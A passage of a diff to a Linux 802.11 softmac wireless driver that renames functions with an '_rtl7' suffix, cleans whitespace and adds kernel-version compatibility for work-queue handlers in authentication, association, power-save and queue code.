IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1207,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1300,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1327,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1466,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1477,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1620,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1645,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1659,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1676,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1706,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1728,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1756,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1779,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) { - + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1876,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1907,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1952,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1962,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) { + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2014,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); - ieee80211_disassociate(ieee); + ieee80211_stop_scan_rtl7(ieee); + + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > 